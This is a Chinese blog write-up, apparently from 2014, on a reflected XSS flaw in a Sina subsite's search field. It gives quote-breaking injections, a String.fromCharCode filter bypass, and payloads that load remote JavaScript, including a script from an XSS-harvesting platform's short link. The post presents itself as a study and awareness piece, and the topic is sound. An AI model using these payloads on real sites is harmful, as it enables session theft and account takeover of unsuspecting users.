从新浪XSS漏洞浅谈XSS技巧

技术 作者:站内编辑 2014-01-14 06:38:24
随着网络时代的飞速发展,网络安全问题越来越受大家的关注。当年杀遍大江南北的SQL注入攻击也随着各种防注入软件、waf或者CDN的出现开始慢慢离我们而去。一种非实时的攻击手段XSS跨站脚本攻击逆流而上,慢慢的开始在最近几年崛起,充分印证了“没有绝对的安全”这句话。 本文通过对新浪某分站的XSS漏洞向大家简述一些XSS漏洞的利用技巧,希望大家能有所收获。 1 XSS攻击:允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。SQL注入漏洞有很多技巧可以使用,在XSS攻击中也有很多技巧。 作者:小鸟 习科ID:zhj527641718 本身咱挺喜欢买彩票的,刚好有一天发现有新浪彩票这玩意,就顺便开看看。   2   在我截图的页面这里发现有一处搜索的地方,我在逛wooyun也曾经看到有很多大牛都在新浪,百度,和TX上挖XSS漏洞,我虽然不挖洞,不过直觉告诉我这里肯定有洞,于是便有了下文中总结的XSS漏洞的一些技巧。   目标:新浪爱知识人 工具:chrome,F12调试工具   {{{{@__@}}} 小编表示只会用IE的F12} 在页面中随手输入N个a,再用chrome下的F12可以看到   3   在input下的value存放了我输入的aaaa,然后以双引号”结束value取值。 如果input的type是text,那么value就是这个输入框里的值,输入框里是aaaaa,那么value也是aaaaa。既然页面中存放的value是输入框的取值,那么就来测试一下双引号”是否过滤。 如果没有咱就可以直接给他加事件,例如:
  1. aaaaa” onclick=”javascript:alert( ‘x’ )”
很可惜的是结果为过滤了,服务器显然把"给转换了。那就继续打开调试用具F12往下找。 在调试器里按ctrl+F,发现有4处aaaaa的位置:   4   下面具体来看看这四处到底在页面的什么地方。这里就不贴图了,直接说明。 第一二处为:value="aaaaaaaa" 第三处:a href="URL+aaaaa" 关键的地方在于第四处:
  1. <script>
  2. function thisinit()
  3. {
  4. $("syzs1").value = 50 - document.login.title.value.length;
  5. $("syzs2").value = 3000 - document.login.description.value.length;
  6. getTitleContent ('aaaaaaaa', '0');
  7. getTitleClass('0');
  8. autotenms();
  9. }
  10. if(window.Event) {
  11. window.onload = thisinit();
  12. } else {
  13. setTimeout(thisinit, 100);
  14. }
  15. </script>
注意看line6的代码:服务器把客户端递送的值作为字符串传入了getTitleContent中,并且单引号引起。 上面双引号已经过滤了,那就试试单引号,测试语句:aaaaaaaa'Aaaaa 顺便解释一下为什么要这样写,好吧我承认首先是aaaa很顺手,然后中间单引号作为测试,因为单引号不大,而且在F12调试器中很模糊,所以后面继续加aaaaa更明显一些。在JS的字符串在调试器中是红色,函数是为黑色,注释是为绿色,这样很容易看清,不会误判操作,小细节而已。   5   在这里就能看得很清楚,是Aaaaa为黑色,简单明了的证明单引号 ' 没过滤,浏览器把的aaaa作为函数运行结果不成立,从而导致报错。 既然已经知道单引号’没过滤,继续测试,执行alert(‘a’)弹个窗试试好了。   6   测试结果是成功弹出a。 解释一下这行语句:
  1. getTitleContent ('aaaaaaaa'+alert('a')+'Aaaaa', '0');
首先拿一个例子说明:
  1. <script>
  2. var a='q'
  3. var b='d'+a+'e'
  4. alert(b)
  5. </script>
这个结果中会弹出dqe,符号“+  +”在JS中是带有连接的作用,所以js代码执行的时候是这样的: 首先创建a并赋值字符串“q”,然后再创建函数b并赋值字符串“d”,将把a的值连接在字符串“d”的后面,最后再赋值字符串“e”。最后弹窗就是dqe。 理解到这里应该就明白了  getTitleContent ('aaaaaaaa'+alert('a')+'Aaaaa', '0');  的意思。 首先aaa为字符串,并且用单引号结束,然后连接语句alert,最后再进行赋值aaaa。当然最后面也可以不赋值,按个人习惯吧。 既然已经知道服务端没有过滤单引号 ' ,那么直接来调用JS。首先还是个测试语句。
  1. document.write('<script src='http://blackbap.org'></script>');
不过运行结果是这样的:   7   发现页面中除了双引号,尖括号也被过滤掉了。那就把调用的js用ascii编码一下,变成:
  1. document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,113,113,46,99,111,109,39,62,60,92,47,115,99,114,105,112,116,62))
然后再继续测试   8   于是乎在下面成功调用了远程的JS。 在这里提示一个问题,这里我是用gainover写的XSS转换器转换的,发现当页面调用的时候会加上一个\这样的斜杠。最后结果就变成了这样<\/script>。所以用的时候先把倒数第一个92给删掉,然后再运行。   从XSS平台里面拿出缩进地址http://x.co/1KKP5并进行转码,插入到搜索栏里:
  1. aaaaa'+document.write(String.fromCharCode (60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,120,46,99,111,47,49, 75,75,80,53,39,62,60,47,115,99,114,105,112,116,62))+'aaa
最后看图:   10   *作者注:本文只限学习和技术研究,旨在提醒广大程序员注意全面的防范xss漏洞,不得做模仿和侵犯他人利益的行为(出于安全和隐私的考虑,小编已经将本帖中涉及储存型相关技术细节隐去)。

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接